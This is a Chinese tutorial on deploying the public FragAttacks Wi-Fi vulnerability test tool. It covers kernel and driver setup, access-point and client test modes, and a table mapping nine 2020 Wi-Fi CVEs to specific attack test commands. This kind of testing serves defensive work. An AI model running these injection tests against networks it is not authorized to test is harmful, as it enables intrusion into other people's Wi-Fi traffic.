概述
FragAttacks(Fragmentation and Aggregation Attacks)是由安全研究员 Mathy Vanhoef 发现的一系列 Wi-Fi 安全漏洞,影响所有现代 Wi-Fi 安全协议(WEP、WPA、WPA2、WPA3)。这些漏洞源于 Wi-Fi 标准中帧聚合和帧分片机制的设计缺陷以及实现错误。
本文介绍 FragAttacks 漏洞验证工具的部署方法和使用流程。关于 FragAttacks 漏洞的技术原理,请参阅 WifiFragattacks 原理分析。
免责声明: 本工具仅用于合法的安全测试和研究目的。未经授权对他人设备进行漏洞测试属于违法行为。
环境部署
方式一:完整环境部署
完整部署需要替换系统内核和 Wi-Fi 网卡驱动,可以获得最准确的测试结果。
系统要求
- 操作系统: Ubuntu 20.04
- 内核版本: 5.8
安装步骤
1. 替换内核为 5.8
1 | sudo apt install linux-image-5.8.0-63-generic linux-headers-5.8.0-63-generic \ |
安装完成后重启,使用 uname -a 确认内核版本为 5.8。
2. 安装编译依赖
1 | sudo apt-get install libnl-3-dev libnl-genl-3-dev libnl-route-3-dev \ |
3. 克隆并编译项目
1 | git clone https://github.com/vanhoefm/fragattacks.git fragattacks |
4. 替换 Wi-Fi 网卡驱动为修改版
1 | sudo apt-get install bison flex linux-headers-$(uname -r) |
5. 安装 ath9k 固件
1 | cd research/ath9k-firmware/ |
方式二:简易环境部署
简易部署无需替换内核和驱动,能够满足基本的漏洞检测需求。但可能受系统版本和 Wi-Fi USB 网卡型号影响,部分网卡可能无法正常驱动,需要单独安装驱动。
注意: 简易部署省略了内核替换和驱动替换步骤,启动时工具会提示
You are not running patched drivers,测试结果可能不够准确。
安装步骤:
1 | # 1. 安装编译依赖 |
使用方法
前置准备
- 接入 Wi-Fi 网卡 — 使用支持监听模式的 USB Wi-Fi 网卡
- 查看网卡接口名称 — 使用
ifconfig命令确认
1 | $ ifconfig |
本例中 Wi-Fi 网卡接口名称为 wlx10634b1dff26。
- 以 root 权限运行 — 进入
research目录,加载 Python 虚拟环境后执行
模式一:作为 AP 测试客户端设备
在此模式下,工具会创建一个 Wi-Fi 热点,待测试设备连接该热点后进行漏洞检测。
1 | sudo ./fragattacks.py <wifi网卡接口名称> --ap <command> |
示例: 使用 ping 命令测试环境是否搭建成功:
1 | sudo ./fragattacks.py wlx10634b1dff26 --ap ping |
运行输出:
1 | [18:32:22] This is FragAttack version 1.3. |
看到 AP-ENABLED 即表示测试热点已建立。
测试热点信息:
- SSID:
testnetwork - 密码:
abcdefgh
使用待测终端连接该热点,等待测试结果。
模式二:作为客户端测试 AP
在此模式下,工具作为客户端连接到目标 Wi-Fi 热点进行漏洞检测。
1 | sudo ./fragattacks.py <wifi网卡接口名称> <command> |
示例:
1 | sudo ./fragattacks.py wlx10634b1dff26 ping |
运行后程序会加载当前路径下 client.conf 配置文件中的 Wi-Fi 热点信息进行连接。
client.conf 配置格式:
1 | sae_pwe=2 |
测试结果判断
| 输出信息 | 含义 |
|---|---|
TEST COMPLETED SUCCESSFULLY |
✅ 设备存在该漏洞 |
Test timed out! Retry to be sure, or manually check result |
❌ 设备不存在该漏洞 |
| 无上述输出 | ⚠️ 测试失败,建议重试 |
CVE 漏洞与命令对照表
| 序号 | CVE 编号 | 测试命令 | 漏洞类型 |
|---|---|---|---|
| 1 | CVE-2020-24588 | amsdu-inject |
A-MSDU 注入攻击 |
| 2 | CVE-2020-24587 | ping I,F,BE,AE --pn-per-qos |
混合密钥攻击(建议测试客户端,AP测试不稳定) |
| 3 | CVE-2020-24586 | ping I,E,R,AE --full-recon |
分片缓存攻击 |
| 4 | CVE-2020-26146 | ping I,E,E --inc-pn 2 |
非连续 PN(包序号)攻击 |
| 5 | CVE-2020-26147 | ping I,E,P |
混合明文/加密分片攻击 |
| 6 | CVE-2020-26140 | ping I,P |
明文数据帧接受攻击 |
| 7 | CVE-2020-26143 | ping I,P,P |
明文数据帧接受攻击(聚合帧) |
| 8 | CVE-2020-26145 | ping I,D,P --bcast-ra |
广播分片攻击(主要测试客户端) |
| 9 | CVE-2020-26144 | eapol-amsdu I,P |
A-MSDU EAPOL 攻击 |
相关文章
- WifiFragattacks 原理分析 — FragAttacks 漏洞技术原理详解
- SDR 基础 — 软件定义无线电入门